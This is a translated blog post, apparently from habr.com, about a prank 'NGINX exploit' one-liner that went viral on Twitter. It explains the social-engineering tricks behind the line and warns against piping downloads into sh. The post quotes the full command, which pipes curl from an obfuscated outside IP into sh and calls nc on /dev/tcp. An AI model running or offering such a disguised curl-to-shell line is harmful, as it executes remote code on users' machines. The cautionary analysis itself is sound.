Заўв. перав.:
TL;DR: ні ў якім разе не выкарыстоўвайце канвеерызацыю файлаў у sh або bash. Гэта выдатны спосаб страціць кантроль над кампутарам.
Жадаю падзяліцца з вамі невялікай гісторыяй аб жартоўным PoC-эксплойце, які быў створаны 31 траўня. Ён з'явіўся аператыўна ў адказ на навіну ад
Скончыўшы працу над новай тэхнікай абфускацыі ў curl, я працытаваў арыгінальны твіт і "зліў працоўны PoC", які складаецца з аднаго радка кода, нібы выкарыстоўвалай выяўленую ўразлівасць. Вядома, гэта было поўнае глупства. Я лічыў, што мяне адразу выведуць на чыстую ваду, і што ў лепшым выпадку я атрымаю пару рэтвітаў (ну і добра).
Аднак я не мог уявіць сабе таго, што адбылося далей. Папулярнасць майго твіту ўзляцела да нябёсаў. Дзіўна, але на дадзены момант (15:00 МСК 1 чэрвеня) да гэтага часу мала хто ўсвядоміў, што гэта фальшыўка. Многія ретвитят яго наогул без праверкі (не кажучы ўжо пра тое, каб палюбавацца цудоўнай ASCII-графікай, якую ён выводзіць).
Толькі паглядзіце, якая прыгажосць!
Хоць усе гэтыя цыклы і колеры выдатныя, зразумелая справа: каб іх убачыць, людзі выконвалі код на сваёй машыне. На шчасце, браўзэры працуюць аналагічна, і ў спалучэнні з фактам, што праблемы з законам мне зусім не патрэбныя, код, схаваны ў маім сайце, усяго толькі рабіў выклікі echo, не спрабуючы ўсталёўваць ці выконваць які б там ні было дадатковы код.
Невялікі адступ:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Сацыя-электронная інжынерыя (SEE) - больш, чым проста фішынг
Бяспека і звыкласць былі асноўнай часткай гэтага эксперыменту. Думаю, менавіта яны прывялі да яго посьпеху. Камандны радок відавочна меў на ўвазе бяспеку, спасылаючыся на «127.0.0.1» (усім вядомы localhost). Лічыцца, што localhost у бясьпецы, а дадзеныя на ім ніколі не пакідаюць ваш кампутар.
Звыкласць была другім ключавым SEE-кампанентам эксперымента. Паколькі мэтавая аўдыторыя пераважна складалася з людзей, знаёмых з асновамі кампутарнай бяспекі, важна было стварыць такі код, каб яго часткі здаваліся знаёмымі і звыклымі (а таму бяспечнымі). Запазычанне элементаў старых эксплойт-канцэпцый і іх камбінаванне незвычайным спосабам аказалася вельмі паспяховым.
Ніжэй прыведзены падрабязны разбор аднарадкоўніка. Усё ў гэтым спісе носіць касметычны характар, А для яго рэальнай працы практычна нічога не патрабуецца.
Якія ж кампаненты сапраўды неабходны? Гэта -gsS
, -O 0x0238f06a
, |sh
і сам вэб-сервер. Вэб-сервер не змяшчаў ніякіх зламысных інструкцый, а проста перадаваў ASCII-графіку з дапамогай каманд echo
у скрыпце, які змяшчаецца ў index.html
. Калі карыстач уводзіў радок з |sh
пасярэдзіне, index.html
загружаўся і выконваўся. На шчасце, захавальнікі вэб-сервера не мелі злых намераў.
-
../../../%00
- Маляе выхад за межы дырэкторыі; -
ngx_stream_module.so
- шлях да выпадковага модулю NGINX; -
/bin/sh%00<'protocol:TCP'
- мы нібы запускаем/bin/sh
на мэтавай машыне і перанакіроўваем выснову ў TCP-канал; -
-O 0x0238f06a#PLToffset
- сакрэтны інгрэдыент, дапоўнены#PLToffset
, Каб выглядаць як зрушэнне памяці, нейкім чынам якое змяшчаецца ў PLT; -
|sh;
- Яшчэ адзін важны фрагмент. Нам было трэба перанакіраваць выснову ў sh/bash, каб выканаць код, які паступае з атакавалага вэб-сервера, размешчанага па адрасе0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- пустышка, у якой netcat спасылаецца на/dev/tcp/localhost
, Каб усё зноў выглядала бяспечна. На самой жа справе, нічога не робіць і ўключаны ў радок для прыгажосці.
На гэтым сканчаюцца расшыфроўка аднарадковага скрыпту і абмеркаванне аспектаў "сацыя-электроннай інжынерыі" (вычварнага фішынгу).
Канфігурацыя вэб-сервера і меры процідзеяння
Паколькі пераважная большасць маіх падпісчыкаў — інфабяспечнікі/хакеры, я вырашыў зрабіць вэб-сервер крыху больш устойлівым да праяў «інтарэсу» з іх боку проста для таго, каб хлопцам было чым заняцца (ды і настройваць яго было прыкольна). Я не збіраюся тут пералічваць усе пасткі, паколькі эксперымент усё яшчэ працягваецца, але вось некалькі рэчаў, якія сервер робіць:
- Актыўна адсочвае спробы распаўсюджвання ў пэўных сацыяльных сетках і падстаўляе розныя мініяцюры прадпрагляду, каб заахвоціць карыстальніка перайсці па спасылцы.
- Перанакіроўвае Chrome/Mozilla/Safari/і т. д. на прома-ролік Thugcrowd замест таго, каб паказаць скрыпт shell.
- Сочыць за відавочнымі прыкметамі ўварвання/грубага ўзлому, пасля чаго пачынае перанакіроўваць запыты на серверы АНБ (ха!).
- Усталёўвае траян, а таксама BIOS rootkit на ўсе кампутары, карыстачы якіх наведваюць хост з звычайнага браўзэра (жарт!).
Невялікая частка антымер
У дадзеным выпадку маёй адзінай мэтай было засваенне некаторых магчымасцяў Apache - у прыватнасці, клёвых правілаў перанакіравання запытаў, - і я падумаў: а чаму б і не?
Эксплойт NGINX (сапраўдны!)
падпісвайцеся на
Крыніца: habr.com